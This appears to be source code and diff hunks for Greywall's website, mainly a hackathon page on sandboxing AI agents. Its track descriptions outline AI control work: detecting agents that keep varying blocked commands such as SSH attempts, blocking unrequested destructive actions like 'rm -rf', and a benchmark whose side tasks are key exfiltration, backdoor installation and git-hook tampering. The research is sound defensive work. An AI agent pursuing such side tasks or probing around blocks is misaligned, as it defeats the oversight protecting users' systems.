{ icon: Crown, title: 'Hall of Fame', sub: 'Featured on greywall.io permanently' },
|
||||
{ icon: Star, title: 'Contributor credit', sub: 'Added as a contributor in the GitHub README' },
|
||||
{ icon: Users, title: 'CEO Dinner Invitation', sub: 'Attend an exclusive Greyhaven CEO dinner for free' },
|
||||
].map((item) => (
|
||||
<div key={item.title} className="text-center p-6 rounded-2xl border border-border/30 bg-card/20 backdrop-blur-sm">
|
||||
<div className="inline-flex items-center justify-center w-12 h-12 rounded-xl bg-primary/10 border border-primary/15 mb-4">
|
||||
<item.icon className="h-5 w-5 text-primary" />
|
||||
</div>
|
||||
<h4 className="font-serif text-base font-semibold mb-1">{item.title}</h4>
|
||||
<p className="text-xs text-muted-foreground font-sans">{item.sub}</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function ResourcesTab() {
|
||||
const articles = [
|
||||
{
|
||||
title: 'The Greyhaven Sovereign AI Framework',
|
||||
url: 'https://greyhaven.co/insights/greyhaven-sovereign-ai-framework',
|
||||
description: 'Our framework for how organizations can maintain sovereignty over their AI systems.',
|
||||
},
|
||||
{
|
||||
title: 'Why We Built Our Own Sandboxing System',
|
||||
url: 'https://greyhaven.co/insights/why-we-built-our-own-sandboxing-system',
|
||||
description: 'The story behind Greywall and why existing solutions were not enough.',
|
||||
},
|
||||
{
|
||||
title: 'Greywall on GitHub',
|
||||
url: 'https://github.com/GreyhavenHQ/greywall',
|
||||
description: 'The open-source codebase you will be building on. Start here.',
|
||||
},
|
||||
{
|
||||
title: 'Greywall Documentation',
|
||||
url: 'https://docs.greywall.io/',
|
||||
description: 'Setup guides, API reference, and architecture docs.',
|
||||
},
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
{articles.map((article) => (
|
||||
<a
|
||||
key={article.title}
|
||||
href={article.url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="group flex items-start gap-4 p-5 rounded-xl border border-border/30 bg-card/20 hover:bg-card/40 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<div className="flex-1">
|
||||
<h4 className="font-serif text-lg font-semibold mb-1 group-hover:text-primary transition-colors">{article.title}</h4>
|
||||
<p className="text-sm text-muted-foreground font-sans">{article.description}</p>
|
||||
</div>
|
||||
<ArrowRight className="h-4 w-4 text-muted-foreground group-hover:text-primary group-hover:translate-x-0.5 transition-all mt-1.5 shrink-0" />
|
||||
</a>
|
||||
))}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function GuidelinesTab() {
|
||||
const dimensions = [
|
||||
{
|
||||
title: 'Impact Potential & Innovation',
|
||||
question: 'How much would this matter for AI safety if it worked? How innovative is it?',
|
||||
scores: [
|
||||
{ score: 1, desc: 'Negligible. No clear problem addressed, or no meaningful novelty.' },
|
||||
{ score: 2, desc: 'Limited. Addresses a real problem but with a generic or well-trodden approach.' },
|
||||
{ score: 3, desc: 'Moderate. Clear problem with a reasonable approach; some novelty in framing or method.' },
|
||||
{ score: 4, desc: 'Significant. Important problem with an original approach. A valuable contribution others could build on.' },
|
||||
{ score: 5, desc: 'Exceptional. Tackles a critical AI safety problem with a genuinely novel approach. Opens a new direction.' },
|
||||
],
|
||||
},
|
||||
{
|
||||
title: 'Execution Quality',
|
||||
question: 'How sound are methodology, implementation, and findings?',
|
||||
scores: [
|
||||
{ score: 1, desc: 'Seriously flawed. Methodology broken, results uninterpretable, or implementation does not work.' },
|
||||
{ score: 2, desc: 'Weak. Significant gaps: missing validation, flawed experimental design, or incomplete implementation.' },
|
||||
{ score: 3, desc: 'Competent. Technically solid given the short duration. Results are interpretable, limitations acknowledged.' },
|
||||
{ score: 4, desc: 'Strong. Thorough methodology with convincing validation. Immediately useful for future work.' },
|
||||
{ score: 5, desc: 'Exceptional. Ambitious scope executed rigorously. Surprising findings or unusually robust validation.' },
|
||||
],
|
||||
},
|
||||
{
|
||||
title: 'Presentation & Clarity',
|
||||
question: 'How clearly are work, findings, and impact potential communicated?',
|
||||
scores: [
|
||||
{ score: 1, desc: 'Incomprehensible. Cannot determine what the project is actually claiming or doing.' },
|
||||
{ score: 2, desc: 'Hard to follow. Key information buried or missing. Significant effort to extract main points.' },
|
||||
{ score: 3, desc: 'Clear enough. Can understand the problem, approach, and results without undue effort.' },
|
||||
{ score: 4, desc: 'Well presented. Easy to follow, well-structured. Target audience would get it quickly.' },
|
||||
{ score: 5, desc: 'Exceptionally clear. A pleasure to read. Complex ideas made accessible.' },
|
||||
],
|
||||
},
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="space-y-12">
|
||||
{/* Judging Criteria */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-6">Judging Criteria</h3>
|
||||
<div className="space-y-8">
|
||||
{dimensions.map((dim) => (
|
||||
<div key={dim.title} className="rounded-xl border border-border/30 bg-card/20 overflow-hidden">
|
||||
<div className="p-5 border-b border-border/20">
|
||||
<h4 className="font-serif text-lg font-semibold mb-1">{dim.title}</h4>
|
||||
<p className="text-sm text-muted-foreground font-sans">{dim.question}</p>
|
||||
</div>
|
||||
<div className="divide-y divide-border/15">
|
||||
{dim.scores.map((s) => (
|
||||
<div key={s.score} className="flex gap-4 px-5 py-3">
|
||||
<span className="font-sans text-sm font-bold text-primary w-6 shrink-0">{s.score}</span>
|
||||
<p className="text-sm text-muted-foreground font-sans">{s.desc}</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Submission Requirements */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-6">Submission Requirements</h3>
|
||||
<div className="rounded-xl border border-border/30 bg-card/20 p-6 space-y-6">
|
||||
<div>
|
||||
<h4 className="font-serif text-base font-semibold mb-3">A complete submission includes:</h4>
|
||||
<ul className="space-y-2 text-sm text-muted-foreground font-sans">
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>A research report in PDF format</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>A project title and brief abstract (150 words max)</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>Author names for all team members</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>Which challenge track your project addresses</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<h4 className="font-serif text-base font-semibold mb-3">Recommended report structure:</h4>
|
||||
<p className="text-sm text-muted-foreground font-sans mb-3">There is no hard page limit. Most strong submissions are 4-8 pages.</p>
|
||||
<ul className="space-y-2 text-sm text-muted-foreground font-sans">
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Introduction:</span>What problem did you address? Why does it matter?</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Related Work:</span>What existing work does your project build on?</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Methodology:</span>What did you build or test? Enough detail to replicate.</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Results:</span>What did you find? Include quantitative results where possible.</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Discussion:</span>Implications, limitations, what you would do with more time.</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">References:</span>Cite relevant prior work.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<h4 className="font-serif text-base font-semibold mb-3">Important notes:</h4>
|
||||
<ul className="space-y-2 text-sm text-muted-foreground font-sans">
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>You can submit as an individual or as a team</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>You can build on existing work, but you must clearly identify what is new work done during the hackathon</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>Your PDF is not editable or replaceable once submitted</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function ScheduleTab() {
|
||||
return (
|
||||
<div className="text-center py-12 space-y-6">
|
||||
<p className="font-serif text-lg text-muted-foreground">Schedule will be announced soon.</p>
|
||||
<NotifyButton />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function InfoSection() {
|
||||
const [activeTab, setActiveTab] = useState<string>('overview')
|
||||
|
||||
return (
|
||||
<section className="py-16 sm:py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-4xl">
|
||||
{/* Tab navigation */}
|
||||
<div className="flex gap-2 mb-12 justify-center flex-wrap">
|
||||
{infoTabs.map((tab) => (
|
||||
<button
|
||||
key={tab}
|
||||
onClick={() => setActiveTab(tab.toLowerCase())}
|
||||
className={`px-5 py-2 rounded-full text-sm font-sans font-medium transition-all cursor-pointer ${
|
||||
activeTab === tab.toLowerCase()
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'bg-card/40 border border-border/40 text-muted-foreground hover:text-foreground hover:border-border/60'
|
||||
}`}
|
||||
>
|
||||
{tab}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Tab content */}
|
||||
{activeTab === 'overview' && <OverviewTab />}
|
||||
{activeTab === 'resources' && <ResourcesTab />}
|
||||
{activeTab === 'guidelines' && <GuidelinesTab />}
|
||||
{activeTab === 'schedule' && <ScheduleTab />}
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Terminal Showcase ─── */
|
||||
|
||||
function TerminalShowcase() {
|
||||
const { ref, visible } = useInView(0.1)
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-20 sm:py-28 px-4 sm:px-6 relative overflow-hidden">
|
||||
{/* Background glow behind terminal */}
|
||||
<div className="absolute right-0 top-1/2 -translate-y-1/2 w-[500px] h-[400px] bg-[radial-gradient(ellipse,rgba(217,94,42,0.06),transparent_70%)] blur-2xl pointer-events-none" />
|
||||
|
||||
<div className={`mx-auto max-w-5xl grid md:grid-cols-2 gap-10 items-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-12'}`}>
|
||||
<div>
|
||||
<p className="text-xs font-sans uppercase tracking-wider text-primary font-medium mb-4">The data stream</p>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Every agent action, in real time.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greywall</a>'s proxy captures every request, file access, and command your AI agent executes. This is what you'll be building on.
|
||||
</p>
|
||||
</div>
|
||||
<div className="animate-float [animation-duration:6s]">
|
||||
<LiveTerminal />
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Tracks ─── */
|
||||
|
||||
const tracks = [
|
||||
{
|
||||
id: 'pii-filtering',
|
||||
icon: Eye,
|
||||
title: 'PII Filtering',
|
||||
hook: 'Strip sensitive data before it reaches the model, without breaking the task.',
|
||||
color: 'from-orange-500/10 to-amber-500/5',
|
||||
borderColor: 'hover:border-orange-500/30',
|
||||
description: 'Build a Greywall layer that strips PII (names, credit cards, etc.) from data before it reaches the model while still letting the agent complete tasks correctly. You define your own test cases and demonstrate it works.',
|
||||
scoring: 'You bring your own proof. Show it works on real-world data, not just toy examples.',
|
||||
examples: ['Data masking', 'Pattern detection', 'Context-aware redaction', 'Format preservation'],
|
||||
Visual: StreamViz,
|
||||
},
|
||||
{
|
||||
id: 'intent-classifier',
|
||||
icon: Target,
|
||||
title: 'Intent vs. Action Classifier',
|
||||
hook: 'Detect when an agent does something the user never asked for.',
|
||||
color: 'from-emerald-500/10 to-teal-500/5',
|
||||
borderColor: 'hover:border-emerald-500/30',
|
||||
description: 'Build a classifier that sits in the proxy and blocks destructive actions that weren\'t asked for. Some tool calls match the user\'s intent ("delete files starting with 1" results in rm ./1*). Some don\'t ("refactor this module" results in rm -rf everything). You build the test suite that proves it.',
|
||||
scoring: 'Design your own evaluation. Demonstrate it catches real mismatches, not just scripted ones.',
|
||||
examples: ['Heuristics-based', 'ML classifiers', 'Semantic matching', 'Action risk scoring'],
|
||||
Visual: SecureViz,
|
||||
},
|
||||
{
|
||||
id: 'derail-detection',
|
||||
icon: AlertTriangle,
|
||||
title: 'Derail Detection',
|
||||
hook: 'Catch agents that keep trying variations after being blocked.',
|
||||
color: 'from-amber-500/10 to-yellow-500/5',
|
||||
borderColor: 'hover:border-amber-500/30',
|
||||
description: 'Detect when an agent persistently mutates blocked commands, like repeatedly trying SSH variations to find a path through. Build something that spots the pattern and stops or redirects it with an informative message.',
|
||||
scoring: 'Create your own adversarial sessions and prove your detector catches them.',
|
||||
examples: ['Pattern matching', 'Mutation detection', 'Session analysis', 'Auto-redirect'],
|
||||
Visual: RadarViz,
|
||||
},
|
||||
{
|
||||
id: 'antivirus',
|
||||
icon: ShieldAlert,
|
||||
title: 'Malicious Request Detection',
|
||||
hook: 'Scan requests for supply chain attacks and flag them. Fast.',
|
||||
color: 'from-cyan-500/10 to-sky-500/5',
|
||||
borderColor: 'hover:border-cyan-500/30',
|
||||
description: 'Build a guardrail that scans network requests and commands for malicious patterns (e.g. supply chain attacks via NPM packages). You define the threat scenarios and prove detection works without killing latency.',
|
||||
scoring: 'Fastest accurate solution wins. You bring the benchmarks.',
|
||||
examples: ['Request scanning', 'Dependency analysis', 'Threat signatures', 'Low-latency filtering'],
|
||||
Visual: ScanViz,
|
||||
},
|
||||
{
|
||||
id: 'response-rewriting',
|
||||
icon: MessageSquare,
|
||||
title: 'Response Rewriting',
|
||||
hook: 'Turn cryptic block messages into helpful guidance.',
|
||||
color: 'from-violet-500/10 to-purple-500/5',
|
||||
borderColor: 'hover:border-violet-500/30',
|
||||
description: 'When an agent gets blocked, intercept the error and rewrite it to explain why and suggest alternatives, so the agent self-corrects instead of retrying the same thing twenty times.',
|
||||
scoring: 'Demonstrate with real agent sessions that your rewrites actually stop the retry loop.',
|
||||
examples: ['Error interception', 'Context injection', 'Alternative suggestion', 'Loop prevention'],
|
||||
Visual: ExtendViz,
|
||||
},
|
||||
{
|
||||
id: 'control-benchmark',
|
||||
icon: FlaskConical,
|
||||
title: 'Control Evaluation Benchmark',
|
||||
hook: 'Build the test suite that measures how well sandboxes actually work.',
|
||||
color: 'from-rose-500/10 to-pink-500/5',
|
||||
borderColor: 'hover:border-rose-500/30',
|
||||
description: 'Define main tasks (real software engineering work) paired with side tasks (exfiltrate a key, install a backdoor, modify git hooks). Measure how much useful work an agent completes under Greywall\'s restrictions vs. how often adversarial goals succeed.',
|
||||
scoring: 'Show the safety/usefulness tradeoff. A good benchmark reveals real weaknesses, not just toy scenarios.',
|
||||
examples: ['Main/side task pairs', 'Policy quality scoring', 'Layer isolation tests', 'Reproducible evals'],
|
||||
Visual: BenchViz,
|
||||
},
|
||||
]
|
||||
|
||||
function TrackCard({ track, index }: { track: typeof tracks[0]; index: number }) {
|
||||
const { ref, visible } = useInView(0.1)
|
||||
const { ref: spotlightRef, onMove } = useMouseSpotlight()
|
||||
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
className={`transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-12'}`}
|
||||
style={{ transitionDelay: `${index * 120}ms` }}
|
||||
>
|
||||
<div
|
||||
ref={spotlightRef}
|
||||
onMouseMove={onMove}
|
||||
className={`card-spotlight group relative rounded-2xl border border-border/40 ${track.borderColor} bg-gradient-to-br ${track.color} transition-all duration-300 overflow-hidden hover:-translate-y-0.5 hover:shadow-[0_8px_40px_rgba(0,0,0,0.2)]`}
|
||||
>
|
||||
<div className="absolute top-0 left-0 right-0 h-px bg-gradient-to-r from-transparent via-primary/30 to-transparent opacity-0 group-hover:opacity-100 transition-opacity" />
|
||||
|
||||
<div className="flex">
|
||||
{/* Content */}
|
||||
<div className="flex-1 p-8 sm:p-10 relative z-10">
|
||||
<h3 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-3">
|
||||
{track.title}
|
||||
</h3>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed mb-4 max-w-lg">
|
||||
{track.hook}
|
||||
</p>
|
||||
<p className="text-sm text-muted-foreground/80 font-sans leading-relaxed mb-2 max-w-lg">
|
||||
{track.description}
|
||||
</p>
|
||||
<p className="text-sm text-primary/80 font-sans font-medium mb-6 max-w-lg">
|
||||
{track.scoring}
|
||||
</p>
|
||||
|
||||
<div className="flex flex-wrap gap-2">
|
||||
{track.examples.map((ex) => (
|
||||
<span key={ex} className="px-3 py-1.5 text-xs font-sans font-medium rounded-full bg-card/60 border border-border/30 text-muted-foreground backdrop-blur-sm hover:border-primary/20 hover:text-foreground transition-colors">
|
||||
{ex}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Side visual */}
|
||||
<div className="hidden md:block w-[220px] shrink-0 relative overflow-hidden">
|
||||
<track.Visual />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function Tracks() {
|
||||
return (
|
||||
<section id="tracks" className="py-24 sm:py-32 px-4 sm:px-6 relative">
|
||||
{/* Subtle background glow */}
|
||||
<div className="absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2 w-[800px] h-[600px] bg-[radial-gradient(ellipse,rgba(217,94,42,0.04),transparent_70%)] pointer-events-none" />
|
||||
|
||||
<div className="relative mx-auto max-w-5xl">
|
||||
<div className="text-center mb-16">
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight mb-4">
|
||||
Pick your track.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground max-w-2xl mx-auto">
|
||||
Six open-ended tracks, all building on top of{' '}
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greywall</a>.
|
||||
Go deep on one or try a few.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="space-y-6">
|
||||
{tracks.map((track, i) => (
|
||||
<TrackCard key={track.id} track={track} index={i} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/* ─── Location ─── */
|
||||
|
||||
function Location() {
|
||||
const { ref, visible } = useInView()
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-14 sm:py-20 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className={`mx-auto max-w-5xl text-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-8'}`}>
|
||||
<div className="inline-flex items-center gap-2 mb-3">
|
||||
<MapPin className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">Location</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-2">
|
||||
Montreal.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground">
|
||||
Venue and dates announced soon.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── FAQ ─── */
|
||||
|
||||
const faqs = [
|
||||
{ q: 'Can I work on more than one track?', a: 'Yes. You can tackle as many tracks as you want over 48 hours. Focus deep on one or spread across several.' },
|
||||
{ q: 'Do I need security or ML experience?', a: 'No. The tracks are designed so you can approach them with heuristics, ML, or creative engineering. If you can write code, you can participate.' },
|
||||
{ q: 'How are teams formed?', a: 'We split participants into teams of 2 to 3. You can request to be grouped with someone, or we will match you.' },
|
||||
{ q: 'Do I need to know Greywall?', a: 'Nope. We provide setup support and Greywall maintainers are on hand throughout.' },
|
||||
{ q: 'What happens to my code?', a: 'Your code is yours. Winners get featured on the permanent Hall of Fame page, added as contributors in the GitHub README, and invited to an exclusive Greyhaven CEO dinner.' },
|
||||
{ q: 'What do I need to bring?', a: 'A laptop. We provide Greywall infrastructure, docs, food, and caffeine.' },
|
||||
]
|
||||
|
||||
function FAQ() {
|
||||
return (
|
||||
<section id="faq" className="py-24 sm:py-32 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-3xl">
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight text-center mb-16">FAQ.</h2>
|
||||
<div>
|
||||
{faqs.map((faq) => <FAQItem key={faq.q} question={faq.q} answer={faq.a} />)}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
function FAQItem({ question, answer }: { question: string; answer: string }) {
|
||||
const [open, setOpen] = useState(false)
|
||||
return (
|
||||
<div className="border-b border-border/30">
|
||||
<button onClick={() => setOpen(!open)} className="w-full flex items-center justify-between gap-4 py-5 text-left cursor-pointer group">
|
||||
<h3 className="font-serif text-base sm:text-lg font-semibold group-hover:text-primary transition-colors">{question}</h3>
|
||||
<ChevronDown className={`h-4 w-4 shrink-0 text-muted-foreground transition-transform duration-200 ${open ? 'rotate-180' : ''}`} />
|
||||
</button>
|
||||
<div className={`grid transition-[grid-template-rows] duration-200 ${open ? 'grid-rows-[1fr]' : 'grid-rows-[0fr]'}`}>
|
||||
<div className="overflow-hidden">
|
||||
<p className="pb-5 text-muted-foreground font-serif text-base leading-relaxed">{answer}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Final CTA ─── */
|
||||
|
||||
function FinalCTA() {
|
||||
const { ref, visible } = useInView()
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-16 sm:py-24 px-4 sm:px-6 border-t border-border/30 relative overflow-hidden">
|
||||
{/* Aurora background */}
|
||||
<div className="absolute inset-0 aurora-bg opacity-60" />
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_center,rgba(217,94,42,0.1)_0%,transparent_60%)]" />
|
||||
|
||||
<div className={`relative mx-auto max-w-3xl text-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-8'}`}>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl md:text-5xl font-semibold tracking-tight mb-6 text-shimmer">
|
||||
Build something that matters.
|
||||
</h2>
|
||||
<NotifyButton />
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Page ─── */
|
||||
|
||||
export default function HackathonsPage() {
|
||||
return (
|
||||
<main className="min-h-screen relative">
|
||||
<NoiseOverlay />
|
||||
<Nav />
|
||||
<Hero />
|
||||
<TerminalShowcase />
|
||||
<InfoSection />
|
||||
<Tracks />
|
||||
<Location />
|
||||
<FAQ />
|
||||
<FinalCTA />
|
||||
<Footer />
|
||||
</main>
|
||||
)
|
||||
}
|
||||
@@ -1,37 +1,46 @@
|
||||
import type { Metadata } from 'next'
|
||||
import { Inter, Source_Serif_4 } from 'next/font/google'
|
||||
import { Geist } from 'next/font/google'
|
||||
import localFont from 'next/font/local'
|
||||
import './globals.css'
|
||||
|
||||
const inter = Inter({
|
||||
const geistSans = Geist({
|
||||
variable: '--font-geist-sans',
|
||||
subsets: ['latin'],
|
||||
display: 'swap',
|
||||
variable: '--font-inter',
|
||||
})
|
||||
|
||||
const sourceSerif = Source_Serif_4({
|
||||
subsets: ['latin'],
|
||||
const sourceSerifPro = localFont({
|
||||
src: [
|
||||
{
|
||||
path: '../public/fonts/Source_Serif_4/SourceSerif4-VariableFont_opsz,wght.ttf',
|
||||
style: 'normal',
|
||||
},
|
||||
{
|
||||
path: '../public/fonts/Source_Serif_4/SourceSerif4-Italic-VariableFont_opsz,wght.ttf',
|
||||
style: 'italic',
|
||||
},
|
||||
],
|
||||
variable: '--font-source-serif-pro',
|
||||
weight: '200 900',
|
||||
display: 'swap',
|
||||
variable: '--font-source-serif',
|
||||
style: ['normal', 'italic'],
|
||||
axes: ['opsz'],
|
||||
preload: true,
|
||||
})
|
||||
|
||||
export const metadata: Metadata = {
|
||||
metadataBase: new URL('https://greywall.io'),
|
||||
title: 'Greywall: Sandbox for AI Agents',
|
||||
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||
description:
|
||||
'Frictionless sandboxing with real-time observability for AI agents on Linux and macOS. One command, nothing to configure. Open source.',
|
||||
'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS. Filesystem, network, and command boundaries stay under your control.',
|
||||
icons: {
|
||||
icon: [
|
||||
{ url: '/icon.svg', type: 'image/svg+xml' },
|
||||
{ url: '/greyhaven-mark.svg', type: 'image/svg+xml' },
|
||||
{ url: '/icon-dark-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: dark)' },
|
||||
{ url: '/icon-light-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: light)' },
|
||||
],
|
||||
apple: '/apple-icon.png',
|
||||
},
|
||||
openGraph: {
|
||||
title: 'Greywall: Sandbox for AI Agents',
|
||||
description: 'Frictionless sandboxing with real-time observability for AI agents. One command, nothing to configure.',
|
||||
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||
description: 'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS.',
|
||||
url: 'https://greywall.io',
|
||||
siteName: 'Greywall',
|
||||
type: 'website',
|
||||
@@ -39,8 +48,8 @@ export const metadata: Metadata = {
|
||||
},
|
||||
twitter: {
|
||||
card: 'summary_large_image',
|
||||
title: 'Greywall: Sandbox for AI Agents',
|
||||
description: 'Frictionless sandboxing with real-time observability for AI agents. One command, nothing to configure.',
|
||||
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||
description: 'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS.',
|
||||
images: ['/og-image.png'],
|
||||
},
|
||||
alternates: {
|
||||
@@ -56,7 +65,7 @@ const jsonLd = {
|
||||
'@id': 'https://greyhaven.co/#organization',
|
||||
name: 'Greyhaven',
|
||||
url: 'https://greyhaven.co',
|
||||
logo: { '@type': 'ImageObject', url: 'https://greywall.io/icon.svg' },
|
||||
logo: { '@type': 'ImageObject', url: 'https://greywall.io/greyhaven-mark.svg' },
|
||||
sameAs: ['https://github.com/GreyhavenHQ'],
|
||||
},
|
||||
{
|
||||
@@ -71,7 +80,7 @@ const jsonLd = {
|
||||
'@id': 'https://greywall.io/#software',
|
||||
name: 'Greywall',
|
||||
description:
|
||||
'Frictionless sandboxing with real-time observability and dynamic controls for AI agents on Linux and macOS.',
|
||||
'Default-deny sandboxing with real-time observability and dynamic controls for AI agents on Linux and macOS.',
|
||||
applicationCategory: 'SecurityApplication',
|
||||
operatingSystem: 'Linux, macOS',
|
||||
url: 'https://greywall.io',
|
||||
@@ -107,14 +116,14 @@ export default function RootLayout({
|
||||
children: React.ReactNode
|
||||
}>) {
|
||||
return (
|
||||
<html lang="en" className={`dark ${inter.variable} ${sourceSerif.variable}`}>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<script
|
||||
type="application/ld+json"
|
||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLd) }}
|
||||
/>
|
||||
</head>
|
||||
<body className="font-sans antialiased bg-background text-foreground">
|
||||
<body className={`${geistSans.variable} ${sourceSerifPro.variable} min-h-dvh flex flex-col`}>
|
||||
{children}
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
'use client'
|
||||
|
||||
import { PlatformProvider } from '@/components/platform-toggle'
|
||||
import { Nav } from '@/components/nav'
|
||||
import { Hero } from '@/components/hero'
|
||||
@@ -10,6 +8,7 @@ import { Layers } from '@/components/layers'
|
||||
import { Observability } from '@/components/observability'
|
||||
import { Control } from '@/components/control'
|
||||
import { Comparison } from '@/components/comparison'
|
||||
import { Waitlist } from '@/components/waitlist'
|
||||
import { About } from '@/components/about'
|
||||
import { FAQ } from '@/components/faq'
|
||||
import { Footer } from '@/components/footer'
|
||||
@@ -17,7 +16,7 @@ import { Footer } from '@/components/footer'
|
||||
export default function Home() {
|
||||
return (
|
||||
<PlatformProvider>
|
||||
<main className="min-h-screen">
|
||||
<main className="bg-gradient min-h-screen">
|
||||
<Nav />
|
||||
<Hero />
|
||||
<Problem />
|
||||
@@ -27,6 +26,7 @@ export default function Home() {
|
||||
<Control />
|
||||
<Comparison />
|
||||
<GettingStarted />
|
||||
<Waitlist />
|
||||
<About />
|
||||
<FAQ />
|
||||
<Footer />
|
||||
|
||||
@@ -1,39 +1,29 @@
|
||||
import { Users } from 'lucide-react'
|
||||
|
||||
export function About() {
|
||||
return (
|
||||
<section id="about" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Users className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
About
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-2xl sm:text-3xl md:text-4xl font-semibold tracking-tight mb-4">
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none">
|
||||
We built it for ourselves, then open-sourced it.
|
||||
</h2>
|
||||
</div>
|
||||
|
||||
<div className="max-w-3xl space-y-4 text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
<div className="max-w-3xl space-y-4 text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
<p>
|
||||
Greywall was built by{' '}
|
||||
<a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">Greyhaven</a>,
|
||||
